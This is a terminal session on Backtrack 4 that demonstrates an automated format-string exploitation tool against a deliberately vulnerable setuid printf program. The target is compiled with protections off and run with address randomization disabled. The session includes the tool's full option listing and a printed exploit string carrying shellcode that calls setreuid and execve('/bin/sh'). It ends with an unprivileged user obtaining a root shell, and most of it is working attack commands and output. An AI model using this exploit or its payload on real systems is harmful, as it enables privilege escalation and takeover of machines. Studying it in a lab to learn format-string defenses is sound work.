The following example will illustrate format string autoexploitation on Backtrack 4:
------------------------------------------------------------------------------------
root@bt:~# tar jxvf Format\ String\ Auto\ Exploitation.tar.bz2
root@bt:~# cd Format\ String\ Auto\ Exploitation
root@bt:~/Format String Auto Exploitation# ls
auto_test.sh  format_exploit_automagic.py  Makefile  printf.c  README.txt
root@bt:~# cat printf.c
#include
int main(int argc, char **argv){printf(argv[1]);}
root@bt:~/Format String Auto Exploitation# make
gcc -w -O0 -ggdb -std=c99 -c printf.c
gcc -static -D_FORTIFY_SOURCE=0 -fno-pie -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack  printf.o -o printf
root@bt:~/Format String Auto Exploitation# make env
kernel.randomize_va_space = 0
root@bt:~/Format String Auto Exploitation# chmod +s ./printf
root@bt:~/Format String Auto Exploitation# useradd dummy
root@bt:~/Format String Auto Exploitation# su dummy
sh-3.2$ id
uid=1000(dummy) gid=1000(dummy) groups=1000(dummy)
sh-3.2$ ls -al ./printf
-rwsr-sr-x 1 root root 576267 2009-11-25 17:13 ./printf
sh-3.2$ python format_exploit_automagic.py -h
Usage: format_exploit_automagic.py [options] binary
Attempt automatic format string exploitation on the provided binary.

Default action is to insert setreuid(geteuid(),geteuid()); execve('/bin/sh',0,0)
shellcode at the end of the format string, and overwrite the DTOR address of the
binary to return to it.

Options:
 -h, --help                            show this help message and exit
 -v, --verbose                         Increase verbosity (specify multiple times for more) default is 2
 -q, --quiet                           Decrease verbosity (specify multiple times for more)

 Overwrite options:
  Arguments to determine location to overwrite in binary

  -d, --dtor                           overwrite dtor address (True)
  -g function, --got=function          Overwrite GOT function (ie: exit)
  -c, --code                           Overwrite first code segment return address found on stack
  -a 0x12345678, --address=0x12345678  Custom overwrite address

 Exploit options:
  Arguments that control the how and where of our shellcode

  -s, --string                         Insert shellcode within format string (True)
  -S shellcode, --Shellcode=shellcode  Insert Custom shellcode in format string (ie: setuid(0); exec '/bin/sh')
  -E, --Environ                        Put shellcode into environment and use it
  -e name, --environ=name              Use address of given environment variable
  -b 90909090, --bytes=90909090        Find byte string on stack and point to it
  -r 0x12345678, --return=0x12345678   Custom shellcode address
  -o 123, --offset=123                 Custom stack offset to format string
sh-3.2$ python format_exploit_automagic.py -vv ./printf
format_exploit_automagic.py:129: Found DTOR address for binary './printf' at: 0x80c201c
format_exploit_automagic.py:142: Overwrite address starts at: 0x80c201c
format_exploit_automagic.py:308: Our exploit string is located at: 0xbffff8ac
format_exploit_automagic.py:385: Overwrite: 0x80c201c return: 0xbffff8f0, stack offset: 119, string adjust: 2
format_exploit_automagic.py:430: Created exploit is of length: 104 (modulus 16: 8), string adjust is 2: '\x1c \x0c\x08\x1d \x0c\x08\x1e \x0c\x08\x1f \x0c\x08%175c%122$hhn%049c%119$hhn%008c%120$hhn%007c%121$hhnj1X\x99\xcd\x80\x89\xc3\x89\xc1jFX\xcd\x80\xb0\x0bRhn/shh//bi\x89\xe3\x89\xd1\xcd\x80\x90\x90'
format_exploit_automagic.py:464: Launching Exploit, Good Luck!
# whoami
root

